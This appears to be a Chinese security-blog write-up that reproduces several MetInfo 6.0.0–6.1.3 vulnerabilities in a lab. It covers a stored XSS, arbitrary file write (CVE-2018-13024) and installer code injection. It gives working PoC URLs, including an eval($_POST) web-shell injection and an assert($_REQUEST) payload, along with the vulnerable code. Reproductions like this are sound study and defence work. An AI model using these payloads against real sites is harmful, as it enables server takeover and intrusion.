前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Metinfo6.0.0-6.1.3多个CVE漏洞复现

Metinfo6.0.0-6.1.3多个CVE漏洞复现

作者头像
墙角睡大觉
发布2019-09-24 17:26:25
2.1K0
发布2019-09-24 17:26:25
举报

根据seebug等相关网站、博客文章进行漏洞复现。

0X1 环境搭建

下载Metinfo6.0.0版本

Centos/83端口

访问环境:

0X2 XSS漏洞

2018年12月27日,Metinfo被爆出存在存储型跨站脚本漏洞,远程攻击者无需登录可插入恶意代码,管理员在后台管理时即可触发。该XSS漏洞引起的原因是变量覆盖.

影响范围及利用条件

Metinfo 6.x (6.0.0-6.1.3)

无需登录,知晓后台登陆地址。

查看admin/login/login_check.php文件,第12行代码,$url_array数组中某个元素被赋值给$turefile,经过条件判断后赋值给$met_adminfile,随后经过authcode方法加密后再赋值给$truefile。最后执行update SQL操作,将之前加密后的字符串插入数据库:

代码第7行包含了/admin/include/common.inc.php,跟进common.inc.php。在代码第10行发现变量$url_array被赋值,发现$url_array是以后台绝对路径分割而成的数组,而后台路径是安装时就确定的。在commin.inc.php,在代码77-82行,这是一个典型的对输入参数名进行变量注册的循环,并且是在$url_array赋值之后,存在变量覆盖漏洞。其中,XSS的触发点位于/app/system/safe/admin/index.clss.php的doindex方法中,此方法对应着后台的【安全-安全与效率】操作。管理员在进行后台操作时,Metinfo会提前将met_config表中的数据取出,并放到全局变量$_M中;

在/app/system/safe/admin/index.clss.php 的行首调用了/app/system/include/class/load.class.php中的sys_class方法加载系统类文件,这里加载了/app/system/include/class/admin.class.php。

发现admin类继承了common类,common类的构造函数执行了load_confg_global方法加载全站配置数据。通过$localurl_admin数据最后返回到index.php,未过滤导致XSS出现:

完成的POC为:

admin/login/login_check.php?url_array[]=<script>alert(1)</script>&url_array[]=a

输入完成后点击管理员打开后台安全-安全与效率,直接触发

0X3 任意文件写入漏洞

该漏洞编号是:CVE-2018-13024。漏洞发生在

metinfo6.0.0\admin\column\save.php的column_copyconfig函数,跟进发现在:/*复制首页

*/ function Copyindx($newindx,$type){if(!file_exists($newindx)){

$oldcont="<?php\n# MetInfo Enterprise Content Management System \n# Copyright(C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved. \n\$filpy =basename(dirname(__FILE__));\n\$fmodule=$type;\nrequire_once'../include/module.php'; \nrequire_once \$module; \n# This program is an opensource system, commercial use, please consciously to purchase commerciallicense.\n# Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rightsreserved.\n?>";

$fp =fopen($newindx,w);

fputs($fp, $oldcont);

fclose($fp);

}

}

可以看到这里将$type变量直接写入了文件中,而$type变量一直可以追溯到column_copyconfig的$module变量而metinfo一个经典的伪全局变量覆盖,在metinfo6.0.0\admin\include\common.inc.php中。

foreach(array('_COOKIE','_POST', '_GET') as $_request) { foreach($$_request as $_key => $_value) {

$_key{0} != '_' && $$_key =daddslashes($_value,0,0,1);

$_M['form'][$_key]=daddslashes($_value,0,0,1);

}

}

这样我们可以通过传入get参数,覆盖$module变量,导致任意文件写入。

管理员身份登录后,访问完整的POC:

http://192.168.0.107:83/admin/column/save.php?name=123&action=editor&foldername=upload&module=22;@eval($_POST[a]);/*

菜刀连接upload目录下的index.php文件

0x4 任意代码注入

在注册文件夹install中的首页index.php中,也就是安装文件的首页:

对于填写的信息没有做过滤,很多的cms都是类似的结果。我们在安装过程中,在密码位置填写

pass = "*/assert($_REQUEST[a])/*"拼接之后代码为:

<?php

/*

con_db_host = "localhost" con_db_port = "3306"con_db_id = "root" con_db_pass = ""*/assert($_REQUEST[a]);/*""con_db_name = "metinfo" tablepre = "met_" db_charset ="utf8";

*/

?>

接着访问config/config_db.php文件即可造成注入利用

http://127.0.0.1:88/MetInfo6.0.0/config/config_db.php?a=phpinfo();

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-01-20,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 安全漏洞环境学习 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0X1 环境搭建
  • 0X2 XSS漏洞
  • 0X3 任意文件写入漏洞
  • 0x4 任意代码注入
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档